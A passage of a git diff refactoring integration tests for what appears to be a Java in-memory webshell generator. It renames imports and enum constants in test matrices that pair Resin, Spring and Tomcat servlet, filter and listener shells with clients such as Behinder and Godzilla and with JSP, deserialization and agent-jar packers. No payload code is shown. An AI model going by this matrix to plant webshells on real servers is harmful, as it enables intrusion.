Constants.FILTER, ShellTool.AntSword, Packers.JSP), - arguments(imageName, Constants.FILTER, ShellTool.AntSword, Packers.JavaDeserialize), - arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packers.JSP), - arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packers.JavaDeserialize), - arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packers.JSP), - arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packers.JavaDeserialize), - arguments(imageName, Constants.LISTENER, ShellTool.Command, Packers.JSP), - arguments(imageName, Constants.LISTENER, ShellTool.Command, Packers.JavaDeserialize), - arguments(imageName, Constants.LISTENER, ShellTool.Suo5, Packers.JSP), - arguments(imageName, Constants.LISTENER, ShellTool.Suo5, Packers.JavaDeserialize), - arguments(imageName, Constants.LISTENER, ShellTool.AntSword, Packers.JSP), - arguments(imageName, Constants.LISTENER, ShellTool.AntSword, Packers.JavaDeserialize), + arguments(imageName, ShellType.SERVLET, ShellTool.Behinder, Packers.JSP), + arguments(imageName, ShellType.SERVLET, ShellTool.Behinder, Packers.JavaDeserialize), + arguments(imageName, ShellType.SERVLET, ShellTool.Godzilla, Packers.JSP), + arguments(imageName, ShellType.SERVLET, ShellTool.Godzilla, Packers.JavaDeserialize), + arguments(imageName, ShellType.SERVLET, ShellTool.Command, Packers.JSP), + arguments(imageName, ShellType.SERVLET, ShellTool.Command, Packers.JavaDeserialize), + arguments(imageName, ShellType.SERVLET, ShellTool.Suo5, Packers.JSP), + arguments(imageName, ShellType.SERVLET, ShellTool.Suo5, Packers.JavaDeserialize), + arguments(imageName, ShellType.SERVLET, ShellTool.AntSword, Packers.JSP), + arguments(imageName, ShellType.SERVLET, ShellTool.AntSword, Packers.JavaDeserialize), + arguments(imageName, ShellType.FILTER, ShellTool.Behinder, Packers.JSP), + arguments(imageName, ShellType.FILTER, ShellTool.Behinder, Packers.JavaDeserialize), + arguments(imageName, ShellType.FILTER, ShellTool.Godzilla, Packers.JSP), + arguments(imageName, ShellType.FILTER, ShellTool.Godzilla, Packers.JavaDeserialize), + arguments(imageName, ShellType.FILTER, ShellTool.Command, Packers.JSP), + arguments(imageName, ShellType.FILTER, ShellTool.Command, Packers.JavaDeserialize), + arguments(imageName, ShellType.FILTER, ShellTool.Suo5, Packers.JSP), + arguments(imageName, ShellType.FILTER, ShellTool.Suo5, Packers.JavaDeserialize), + arguments(imageName, ShellType.FILTER, ShellTool.AntSword, Packers.JSP), + arguments(imageName, ShellType.FILTER, ShellTool.AntSword, Packers.JavaDeserialize), + arguments(imageName, ShellType.LISTENER, ShellTool.Behinder, Packers.JSP), + arguments(imageName, ShellType.LISTENER, ShellTool.Behinder, Packers.JavaDeserialize), + arguments(imageName, ShellType.LISTENER, ShellTool.Godzilla, Packers.JSP), + arguments(imageName, ShellType.LISTENER, ShellTool.Godzilla, Packers.JavaDeserialize), + arguments(imageName, ShellType.LISTENER, ShellTool.Command, Packers.JSP), + arguments(imageName, ShellType.LISTENER, ShellTool.Command, Packers.JavaDeserialize), + arguments(imageName, ShellType.LISTENER, ShellTool.Suo5, Packers.JSP), + arguments(imageName, ShellType.LISTENER, ShellTool.Suo5, Packers.JavaDeserialize), + arguments(imageName, ShellType.LISTENER, ShellTool.AntSword, Packers.JSP), + arguments(imageName, ShellType.LISTENER, ShellTool.AntSword, Packers.JavaDeserialize), arguments(imageName, ResinShell.AGENT_FILTER_CHAIN, ShellTool.AntSword, Packers.AgentJar), arguments(imageName, ResinShell.AGENT_FILTER_CHAIN, ShellTool.Command, Packers.AgentJar), arguments(imageName, ResinShell.AGENT_FILTER_CHAIN, ShellTool.Behinder, Packers.AgentJar), diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/resin/Resin318ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/resin/Resin318ContainerTest.java index 981c034c..85b397c2 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/resin/Resin318ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/resin/Resin318ContainerTest.java @@ -1,10 +1,10 @@ package com.reajason.javaweb.integration.resin; -import com.reajason.javaweb.memshell.ResinShell; -import com.reajason.javaweb.memshell.config.Constants; -import com.reajason.javaweb.memshell.config.Server; -import com.reajason.javaweb.memshell.config.ShellTool; -import com.reajason.javaweb.memshell.packer.Packers; +import com.reajason.javaweb.memshell.server.ResinShell; +import com.reajason.javaweb.memshell.ShellType; +import com.reajason.javaweb.memshell.Server; +import com.reajason.javaweb.memshell.ShellTool; +import com.reajason.javaweb.memshell.Packers; import lombok.extern.slf4j.Slf4j; import net.bytebuddy.jar.asm.Opcodes; import org.junit.jupiter.api.AfterAll; @@ -43,36 +43,36 @@ public class Resin318ContainerTest { static Stream casesProvider() { return Stream.of( - arguments(imageName, Constants.SERVLET, ShellTool.Behinder, Packers.JSP), - arguments(imageName, Constants.SERVLET, ShellTool.Behinder, Packers.JavaDeserialize), - arguments(imageName, Constants.SERVLET, ShellTool.Godzilla, Packers.JSP), - arguments(imageName, Constants.SERVLET, ShellTool.Godzilla, Packers.JavaDeserialize), - arguments(imageName, Constants.SERVLET, ShellTool.Command, Packers.JSP), - arguments(imageName, Constants.SERVLET, ShellTool.Command, Packers.JavaDeserialize), - arguments(imageName, Constants.SERVLET, ShellTool.Suo5, Packers.JSP), - arguments(imageName, Constants.SERVLET, ShellTool.Suo5, Packers.JavaDeserialize), - arguments(imageName, Constants.SERVLET, ShellTool.AntSword, Packers.JSP), - arguments(imageName, Constants.SERVLET, ShellTool.AntSword, Packers.JavaDeserialize), - arguments(imageName, Constants.FILTER, ShellTool.Behinder, Packers.JSP), - arguments(imageName, Constants.FILTER, ShellTool.Behinder, Packers.JavaDeserialize), - arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packers.JSP), - arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packers.JavaDeserialize), - arguments(imageName, Constants.FILTER, ShellTool.Command, Packers.JSP), - arguments(imageName, Constants.FILTER, ShellTool.Command, Packers.JavaDeserialize), - arguments(imageName, Constants.FILTER, ShellTool.Suo5, Packers.JSP), - arguments(imageName, Constants.FILTER, ShellTool.Suo5, Packers.JavaDeserialize), - arguments(imageName, Constants.FILTER, ShellTool.AntSword, Packers.JSP), - arguments(imageName, Constants.FILTER, ShellTool.AntSword, Packers.JavaDeserialize), - arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packers.JSP), - arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packers.JavaDeserialize), - arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packers.JSP), - arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packers.JavaDeserialize), - arguments(imageName, Constants.LISTENER, ShellTool.Command, Packers.JSP), - arguments(imageName, Constants.LISTENER, ShellTool.Command, Packers.JavaDeserialize), - arguments(imageName, Constants.LISTENER, ShellTool.Suo5, Packers.JSP), - arguments(imageName, Constants.LISTENER, ShellTool.Suo5, Packers.JavaDeserialize), - arguments(imageName, Constants.LISTENER, ShellTool.AntSword, Packers.JSP), - arguments(imageName, Constants.LISTENER, ShellTool.AntSword, Packers.JavaDeserialize), + arguments(imageName, ShellType.SERVLET, ShellTool.Behinder, Packers.JSP), + arguments(imageName, ShellType.SERVLET, ShellTool.Behinder, Packers.JavaDeserialize), + arguments(imageName, ShellType.SERVLET, ShellTool.Godzilla, Packers.JSP), + arguments(imageName, ShellType.SERVLET, ShellTool.Godzilla, Packers.JavaDeserialize), + arguments(imageName, ShellType.SERVLET, ShellTool.Command, Packers.JSP), + arguments(imageName, ShellType.SERVLET, ShellTool.Command, Packers.JavaDeserialize), + arguments(imageName, ShellType.SERVLET, ShellTool.Suo5, Packers.JSP), + arguments(imageName, ShellType.SERVLET, ShellTool.Suo5, Packers.JavaDeserialize), + arguments(imageName, ShellType.SERVLET, ShellTool.AntSword, Packers.JSP), + arguments(imageName, ShellType.SERVLET, ShellTool.AntSword, Packers.JavaDeserialize), + arguments(imageName, ShellType.FILTER, ShellTool.Behinder, Packers.JSP), + arguments(imageName, ShellType.FILTER, ShellTool.Behinder, Packers.JavaDeserialize), + arguments(imageName, ShellType.FILTER, ShellTool.Godzilla, Packers.JSP), + arguments(imageName, ShellType.FILTER, ShellTool.Godzilla, Packers.JavaDeserialize), + arguments(imageName, ShellType.FILTER, ShellTool.Command, Packers.JSP), + arguments(imageName, ShellType.FILTER, ShellTool.Command, Packers.JavaDeserialize), + arguments(imageName, ShellType.FILTER, ShellTool.Suo5, Packers.JSP), + arguments(imageName, ShellType.FILTER, ShellTool.Suo5, Packers.JavaDeserialize), + arguments(imageName, ShellType.FILTER, ShellTool.AntSword, Packers.JSP), + arguments(imageName, ShellType.FILTER, ShellTool.AntSword, Packers.JavaDeserialize), + arguments(imageName, ShellType.LISTENER, ShellTool.Behinder, Packers.JSP), + arguments(imageName, ShellType.LISTENER, ShellTool.Behinder, Packers.JavaDeserialize), + arguments(imageName, ShellType.LISTENER, ShellTool.Godzilla, Packers.JSP), + arguments(imageName, ShellType.LISTENER, ShellTool.Godzilla, Packers.JavaDeserialize), + arguments(imageName, ShellType.LISTENER, ShellTool.Command, Packers.JSP), + arguments(imageName, ShellType.LISTENER, ShellTool.Command, Packers.JavaDeserialize), + arguments(imageName, ShellType.LISTENER, ShellTool.Suo5, Packers.JSP), + arguments(imageName, ShellType.LISTENER, ShellTool.Suo5, Packers.JavaDeserialize), + arguments(imageName, ShellType.LISTENER, ShellTool.AntSword, Packers.JSP), + arguments(imageName, ShellType.LISTENER, ShellTool.AntSword, Packers.JavaDeserialize), arguments(imageName, ResinShell.AGENT_FILTER_CHAIN, ShellTool.AntSword, Packers.AgentJar), arguments(imageName, ResinShell.AGENT_FILTER_CHAIN, ShellTool.Command, Packers.AgentJar), arguments(imageName, ResinShell.AGENT_FILTER_CHAIN, ShellTool.Behinder, Packers.AgentJar), diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/resin/Resin4058ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/resin/Resin4058ContainerTest.java index 0a4f30bd..dd2478f7 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/resin/Resin4058ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/resin/Resin4058ContainerTest.java @@ -1,10 +1,10 @@ package com.reajason.javaweb.integration.resin; -import com.reajason.javaweb.memshell.ResinShell; -import com.reajason.javaweb.memshell.config.Constants; -import com.reajason.javaweb.memshell.config.Server; -import com.reajason.javaweb.memshell.config.ShellTool; -import com.reajason.javaweb.memshell.packer.Packers; +import com.reajason.javaweb.memshell.server.ResinShell; +import com.reajason.javaweb.memshell.ShellType; +import com.reajason.javaweb.memshell.Server; +import com.reajason.javaweb.memshell.ShellTool; +import com.reajason.javaweb.memshell.Packers; import lombok.extern.slf4j.Slf4j; import net.bytebuddy.jar.asm.Opcodes; import org.junit.jupiter.api.AfterAll; @@ -42,36 +42,36 @@ public class Resin4058ContainerTest { static Stream casesProvider() { return Stream.of( - arguments(imageName, Constants.SERVLET, ShellTool.Behinder, Packers.JSP), - arguments(imageName, Constants.SERVLET, ShellTool.Behinder, Packers.JavaDeserialize), - arguments(imageName, Constants.SERVLET, ShellTool.Godzilla, Packers.JSP), - arguments(imageName, Constants.SERVLET, ShellTool.Godzilla, Packers.JavaDeserialize), - arguments(imageName, Constants.SERVLET, ShellTool.Command, Packers.JSP), - arguments(imageName, Constants.SERVLET, ShellTool.Command, Packers.JavaDeserialize), - arguments(imageName, Constants.SERVLET, ShellTool.Suo5, Packers.JSP), - arguments(imageName, Constants.SERVLET, ShellTool.Suo5, Packers.JavaDeserialize), - arguments(imageName, Constants.SERVLET, ShellTool.AntSword, Packers.JSP), - arguments(imageName, Constants.SERVLET, ShellTool.AntSword, Packers.JavaDeserialize), - arguments(imageName, Constants.FILTER, ShellTool.Behinder, Packers.JSP), - arguments(imageName, Constants.FILTER, ShellTool.Behinder, Packers.JavaDeserialize), - arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packers.JSP), - arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packers.JavaDeserialize), - arguments(imageName, Constants.FILTER, ShellTool.Command, Packers.JSP), - arguments(imageName, Constants.FILTER, ShellTool.Command, Packers.JavaDeserialize), - arguments(imageName, Constants.FILTER, ShellTool.Suo5, Packers.JSP), - arguments(imageName, Constants.FILTER, ShellTool.Suo5, Packers.JavaDeserialize), - arguments(imageName, Constants.FILTER, ShellTool.AntSword, Packers.JSP), - arguments(imageName, Constants.FILTER, ShellTool.AntSword, Packers.JavaDeserialize), - arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packers.JSP), - arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packers.JavaDeserialize), - arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packers.JSP), - arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packers.JavaDeserialize), - arguments(imageName, Constants.LISTENER, ShellTool.Command, Packers.JSP), - arguments(imageName, Constants.LISTENER, ShellTool.Command, Packers.JavaDeserialize), - arguments(imageName, Constants.LISTENER, ShellTool.Suo5, Packers.JSP), - arguments(imageName, Constants.LISTENER, ShellTool.Suo5, Packers.JavaDeserialize), - arguments(imageName, Constants.LISTENER, ShellTool.AntSword, Packers.JSP), - arguments(imageName, Constants.LISTENER, ShellTool.AntSword, Packers.JavaDeserialize), + arguments(imageName, ShellType.SERVLET, ShellTool.Behinder, Packers.JSP), + arguments(imageName, ShellType.SERVLET, ShellTool.Behinder, Packers.JavaDeserialize), + arguments(imageName, ShellType.SERVLET, ShellTool.Godzilla, Packers.JSP), + arguments(imageName, ShellType.SERVLET, ShellTool.Godzilla, Packers.JavaDeserialize), + arguments(imageName, ShellType.SERVLET, ShellTool.Command, Packers.JSP), + arguments(imageName, ShellType.SERVLET, ShellTool.Command, Packers.JavaDeserialize), + arguments(imageName, ShellType.SERVLET, ShellTool.Suo5, Packers.JSP), + arguments(imageName, ShellType.SERVLET, ShellTool.Suo5, Packers.JavaDeserialize), + arguments(imageName, ShellType.SERVLET, ShellTool.AntSword, Packers.JSP), + arguments(imageName, ShellType.SERVLET, ShellTool.AntSword, Packers.JavaDeserialize), + arguments(imageName, ShellType.FILTER, ShellTool.Behinder, Packers.JSP), + arguments(imageName, ShellType.FILTER, ShellTool.Behinder, Packers.JavaDeserialize), + arguments(imageName, ShellType.FILTER, ShellTool.Godzilla, Packers.JSP), + arguments(imageName, ShellType.FILTER, ShellTool.Godzilla, Packers.JavaDeserialize), + arguments(imageName, ShellType.FILTER, ShellTool.Command, Packers.JSP), + arguments(imageName, ShellType.FILTER, ShellTool.Command, Packers.JavaDeserialize), + arguments(imageName, ShellType.FILTER, ShellTool.Suo5, Packers.JSP), + arguments(imageName, ShellType.FILTER, ShellTool.Suo5, Packers.JavaDeserialize), + arguments(imageName, ShellType.FILTER, ShellTool.AntSword, Packers.JSP), + arguments(imageName, ShellType.FILTER, ShellTool.AntSword, Packers.JavaDeserialize), + arguments(imageName, ShellType.LISTENER, ShellTool.Behinder, Packers.JSP), + arguments(imageName, ShellType.LISTENER, ShellTool.Behinder, Packers.JavaDeserialize), + arguments(imageName, ShellType.LISTENER, ShellTool.Godzilla, Packers.JSP), + arguments(imageName, ShellType.LISTENER, ShellTool.Godzilla, Packers.JavaDeserialize), + arguments(imageName, ShellType.LISTENER, ShellTool.Command, Packers.JSP), + arguments(imageName, ShellType.LISTENER, ShellTool.Command, Packers.JavaDeserialize), + arguments(imageName, ShellType.LISTENER, ShellTool.Suo5, Packers.JSP), + arguments(imageName, ShellType.LISTENER, ShellTool.Suo5, Packers.JavaDeserialize), + arguments(imageName, ShellType.LISTENER, ShellTool.AntSword, Packers.JSP), + arguments(imageName, ShellType.LISTENER, ShellTool.AntSword, Packers.JavaDeserialize), arguments(imageName, ResinShell.AGENT_FILTER_CHAIN, ShellTool.AntSword, Packers.AgentJar), arguments(imageName, ResinShell.AGENT_FILTER_CHAIN, ShellTool.Command, Packers.AgentJar), arguments(imageName, ResinShell.AGENT_FILTER_CHAIN, ShellTool.Behinder, Packers.AgentJar), diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/resin/Resin4067ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/resin/Resin4067ContainerTest.java index 38a5570f..ac58d00e 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/resin/Resin4067ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/resin/Resin4067ContainerTest.java @@ -1,10 +1,10 @@ package com.reajason.javaweb.integration.resin; -import com.reajason.javaweb.memshell.ResinShell; -import com.reajason.javaweb.memshell.config.Constants; -import com.reajason.javaweb.memshell.config.Server; -import com.reajason.javaweb.memshell.config.ShellTool; -import com.reajason.javaweb.memshell.packer.Packers; +import com.reajason.javaweb.memshell.server.ResinShell; +import com.reajason.javaweb.memshell.ShellType; +import com.reajason.javaweb.memshell.Server; +import com.reajason.javaweb.memshell.ShellTool; +import com.reajason.javaweb.memshell.Packers; import lombok.extern.slf4j.Slf4j; import net.bytebuddy.jar.asm.Opcodes; import org.junit.jupiter.api.AfterAll; @@ -42,36 +42,36 @@ public class Resin4067ContainerTest { static Stream casesProvider() { return Stream.of( - arguments(imageName, Constants.SERVLET, ShellTool.Behinder, Packers.JSP), - arguments(imageName, Constants.SERVLET, ShellTool.Behinder, Packers.JavaDeserialize), - arguments(imageName, Constants.SERVLET, ShellTool.Godzilla, Packers.JSP), - arguments(imageName, Constants.SERVLET, ShellTool.Godzilla, Packers.JavaDeserialize), - arguments(imageName, Constants.SERVLET, ShellTool.Command, Packers.JSP), - arguments(imageName, Constants.SERVLET, ShellTool.Command, Packers.JavaDeserialize), - arguments(imageName, Constants.SERVLET, ShellTool.Suo5, Packers.JSP), - arguments(imageName, Constants.SERVLET, ShellTool.Suo5, Packers.JavaDeserialize), - arguments(imageName, Constants.SERVLET, ShellTool.AntSword, Packers.JSP), - arguments(imageName, Constants.SERVLET, ShellTool.AntSword, Packers.JavaDeserialize), - arguments(imageName, Constants.FILTER, ShellTool.Behinder, Packers.JSP), - arguments(imageName, Constants.FILTER, ShellTool.Behinder, Packers.JavaDeserialize), - arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packers.JSP), - arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packers.JavaDeserialize), - arguments(imageName, Constants.FILTER, ShellTool.Command, Packers.JSP), - arguments(imageName, Constants.FILTER, ShellTool.Command, Packers.JavaDeserialize), - arguments(imageName, Constants.FILTER, ShellTool.Suo5, Packers.JSP), - arguments(imageName, Constants.FILTER, ShellTool.Suo5, Packers.JavaDeserialize), - arguments(imageName, Constants.FILTER, ShellTool.AntSword, Packers.JSP), - arguments(imageName, Constants.FILTER, ShellTool.AntSword, Packers.JavaDeserialize), - arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packers.JSP), - arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packers.JavaDeserialize), - arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packers.JSP), - arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packers.JavaDeserialize), - arguments(imageName, Constants.LISTENER, ShellTool.Command, Packers.JSP), - arguments(imageName, Constants.LISTENER, ShellTool.Command, Packers.JavaDeserialize), - arguments(imageName, Constants.LISTENER, ShellTool.Suo5, Packers.JSP), - arguments(imageName, Constants.LISTENER, ShellTool.Suo5, Packers.JavaDeserialize), - arguments(imageName, Constants.LISTENER, ShellTool.AntSword, Packers.JSP), - arguments(imageName, Constants.LISTENER, ShellTool.AntSword, Packers.JavaDeserialize), + arguments(imageName, ShellType.SERVLET, ShellTool.Behinder, Packers.JSP), + arguments(imageName, ShellType.SERVLET, ShellTool.Behinder, Packers.JavaDeserialize), + arguments(imageName, ShellType.SERVLET, ShellTool.Godzilla, Packers.JSP), + arguments(imageName, ShellType.SERVLET, ShellTool.Godzilla, Packers.JavaDeserialize), + arguments(imageName, ShellType.SERVLET, ShellTool.Command, Packers.JSP), + arguments(imageName, ShellType.SERVLET, ShellTool.Command, Packers.JavaDeserialize), + arguments(imageName, ShellType.SERVLET, ShellTool.Suo5, Packers.JSP), + arguments(imageName, ShellType.SERVLET, ShellTool.Suo5, Packers.JavaDeserialize), + arguments(imageName, ShellType.SERVLET, ShellTool.AntSword, Packers.JSP), + arguments(imageName, ShellType.SERVLET, ShellTool.AntSword, Packers.JavaDeserialize), + arguments(imageName, ShellType.FILTER, ShellTool.Behinder, Packers.JSP), + arguments(imageName, ShellType.FILTER, ShellTool.Behinder, Packers.JavaDeserialize), + arguments(imageName, ShellType.FILTER, ShellTool.Godzilla, Packers.JSP), + arguments(imageName, ShellType.FILTER, ShellTool.Godzilla, Packers.JavaDeserialize), + arguments(imageName, ShellType.FILTER, ShellTool.Command, Packers.JSP), + arguments(imageName, ShellType.FILTER, ShellTool.Command, Packers.JavaDeserialize), + arguments(imageName, ShellType.FILTER, ShellTool.Suo5, Packers.JSP), + arguments(imageName, ShellType.FILTER, ShellTool.Suo5, Packers.JavaDeserialize), + arguments(imageName, ShellType.FILTER, ShellTool.AntSword, Packers.JSP), + arguments(imageName, ShellType.FILTER, ShellTool.AntSword, Packers.JavaDeserialize), + arguments(imageName, ShellType.LISTENER, ShellTool.Behinder, Packers.JSP), + arguments(imageName, ShellType.LISTENER, ShellTool.Behinder, Packers.JavaDeserialize), + arguments(imageName, ShellType.LISTENER, ShellTool.Godzilla, Packers.JSP), + arguments(imageName, ShellType.LISTENER, ShellTool.Godzilla, Packers.JavaDeserialize), + arguments(imageName, ShellType.LISTENER, ShellTool.Command, Packers.JSP), + arguments(imageName, ShellType.LISTENER, ShellTool.Command, Packers.JavaDeserialize), + arguments(imageName, ShellType.LISTENER, ShellTool.Suo5, Packers.JSP), + arguments(imageName, ShellType.LISTENER, ShellTool.Suo5, Packers.JavaDeserialize), + arguments(imageName, ShellType.LISTENER, ShellTool.AntSword, Packers.JSP), + arguments(imageName, ShellType.LISTENER, ShellTool.AntSword, Packers.JavaDeserialize), arguments(imageName, ResinShell.AGENT_FILTER_CHAIN, ShellTool.AntSword, Packers.AgentJar), arguments(imageName, ResinShell.AGENT_FILTER_CHAIN, ShellTool.Command, Packers.AgentJar), arguments(imageName, ResinShell.AGENT_FILTER_CHAIN, ShellTool.Behinder, Packers.AgentJar), diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/springmvc/SpringBoot2ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/springmvc/SpringBoot2ContainerTest.java index 2b370e8a..a42d021c 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/springmvc/SpringBoot2ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/springmvc/SpringBoot2ContainerTest.java @@ -1,9 +1,9 @@ package com.reajason.javaweb.integration.springmvc; -import com.reajason.javaweb.memshell.SpringWebMvcShell; -import com.reajason.javaweb.memshell.config.Server; -import com.reajason.javaweb.memshell.config.ShellTool; -import com.reajason.javaweb.memshell.packer.Packers; +import com.reajason.javaweb.memshell.server.SpringWebMvcShell; +import com.reajason.javaweb.memshell.Server; +import com.reajason.javaweb.memshell.ShellTool; +import com.reajason.javaweb.memshell.Packers; import lombok.extern.slf4j.Slf4j; import net.bytebuddy.jar.asm.Opcodes; import org.junit.jupiter.api.AfterAll; diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/springmvc/SpringBoot2WarContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/springmvc/SpringBoot2WarContainerTest.java index 2d10cc9d..868a16e0 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/springmvc/SpringBoot2WarContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/springmvc/SpringBoot2WarContainerTest.java @@ -1,9 +1,9 @@ package com.reajason.javaweb.integration.springmvc; -import com.reajason.javaweb.memshell.SpringWebMvcShell; -import com.reajason.javaweb.memshell.config.Server; -import com.reajason.javaweb.memshell.config.ShellTool; -import com.reajason.javaweb.memshell.packer.Packers; +import com.reajason.javaweb.memshell.server.SpringWebMvcShell; +import com.reajason.javaweb.memshell.Server; +import com.reajason.javaweb.memshell.ShellTool; +import com.reajason.javaweb.memshell.Packers; import lombok.extern.slf4j.Slf4j; import net.bytebuddy.jar.asm.Opcodes; import org.junit.jupiter.api.AfterAll; diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/springmvc/SpringBoot3ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/springmvc/SpringBoot3ContainerTest.java index 60257b90..1db7f858 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/springmvc/SpringBoot3ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/springmvc/SpringBoot3ContainerTest.java @@ -1,9 +1,9 @@ package com.reajason.javaweb.integration.springmvc; -import com.reajason.javaweb.memshell.SpringWebMvcShell; -import com.reajason.javaweb.memshell.config.Server; -import com.reajason.javaweb.memshell.config.ShellTool; -import com.reajason.javaweb.memshell.packer.Packers; +import com.reajason.javaweb.memshell.server.SpringWebMvcShell; +import com.reajason.javaweb.memshell.Server; +import com.reajason.javaweb.memshell.ShellTool; +import com.reajason.javaweb.memshell.Packers; import lombok.extern.slf4j.Slf4j; import net.bytebuddy.jar.asm.Opcodes; import org.junit.jupiter.api.AfterAll; diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/springwebflux/SpringBoot2WebFluxContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/springwebflux/SpringBoot2WebFluxContainerTest.java index 4879ef30..d5afa2c1 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/springwebflux/SpringBoot2WebFluxContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/springwebflux/SpringBoot2WebFluxContainerTest.java @@ -1,9 +1,9 @@ package com.reajason.javaweb.integration.springwebflux; -import com.reajason.javaweb.memshell.SpringWebFluxShell; -import com.reajason.javaweb.memshell.config.Server; -import com.reajason.javaweb.memshell.config.ShellTool; -import com.reajason.javaweb.memshell.packer.Packers; +import com.reajason.javaweb.memshell.server.SpringWebFluxShell; +import com.reajason.javaweb.memshell.Server; +import com.reajason.javaweb.memshell.ShellTool; +import com.reajason.javaweb.memshell.Packers; import lombok.extern.slf4j.Slf4j; import net.bytebuddy.jar.asm.Opcodes; import org.junit.jupiter.api.AfterAll; diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/springwebflux/SpringBoot3WebFluxContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/springwebflux/SpringBoot3WebFluxContainerTest.java index 6555e19d..014d11d6 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/springwebflux/SpringBoot3WebFluxContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/springwebflux/SpringBoot3WebFluxContainerTest.java @@ -1,9 +1,9 @@ package com.reajason.javaweb.integration.springwebflux; -import com.reajason.javaweb.memshell.SpringWebFluxShell; -import com.reajason.javaweb.memshell.config.Server; -import com.reajason.javaweb.memshell.config.ShellTool; -import com.reajason.javaweb.memshell.packer.Packers; +import com.reajason.javaweb.memshell.server.SpringWebFluxShell; +import com.reajason.javaweb.memshell.Server; +import com.reajason.javaweb.memshell.ShellTool; +import com.reajason.javaweb.memshell.Packers; import lombok.extern.slf4j.Slf4j; import net.bytebuddy.jar.asm.Opcodes; import org.junit.jupiter.api.AfterAll; diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/tomcat/Tomcat10ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/tomcat/Tomcat10ContainerTest.java index 46f08863..38c1c699 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/tomcat/Tomcat10ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/tomcat/Tomcat10ContainerTest.java @@ -1,9 +1,9 @@ package com.reajason.javaweb.integration.tomcat; -import com.reajason.javaweb.memshell.config.Constants; -import com.reajason.javaweb.memshell.config.Server; -import com.reajason.javaweb.memshell.config.ShellTool; -import com.reajason.javaweb.memshell.packer.Packers; +import com.reajason.javaweb.memshell.ShellType; +import com.reajason.javaweb.memshell.Server; +import com.reajason.javaweb.memshell.ShellTool; +import com.reajason.javaweb.memshell.Packers; import lombok.extern.slf4j.Slf4j; import net.bytebuddy.jar.asm.Opcodes; import org.junit.jupiter.api.AfterAll; @@ -41,60 +41,60 @@ public class Tomcat10ContainerTest { static Stream casesProvider() { return Stream.of( - arguments(imageName, Constants.JAKARTA_SERVLET, ShellTool.Behinder, Packers.JSP), - arguments(imageName, Constants.JAKARTA_SERVLET, ShellTool.Behinder, Packers.JSPX), - arguments(imageName, Constants.JAKARTA_SERVLET, ShellTool.Behinder, Packers.JavaDeserialize), - arguments(imageName, Constants.JAKARTA_SERVLET, ShellTool.Godzilla, Packers.JSP), - arguments(imageName, Constants.JAKARTA_SERVLET, ShellTool.Godzilla, Packers.JSPX), - arguments(imageName, Constants.JAKARTA_SERVLET, ShellTool.Godzilla, Packers.JavaDeserialize), - arguments(imageName, Constants.JAKARTA_SERVLET, ShellTool.Command, Packers.JSP), - arguments(imageName, Constants.JAKARTA_SERVLET, ShellTool.Command, Packers.JSPX), - arguments(imageName, Constants.JAKARTA_SERVLET, ShellTool.Command, Packers.JavaDeserialize), - arguments(imageName, Constants.JAKARTA_SERVLET, ShellTool.Suo5, Packers.JSP), - arguments(imageName, Constants.JAKARTA_SERVLET, ShellTool.Suo5, Packers.JSPX), - arguments(imageName, Constants.JAKARTA_SERVLET, ShellTool.Suo5, Packers.JavaDeserialize), - arguments(imageName, Constants.JAKARTA_FILTER, ShellTool.Behinder, Packers.JSP), - 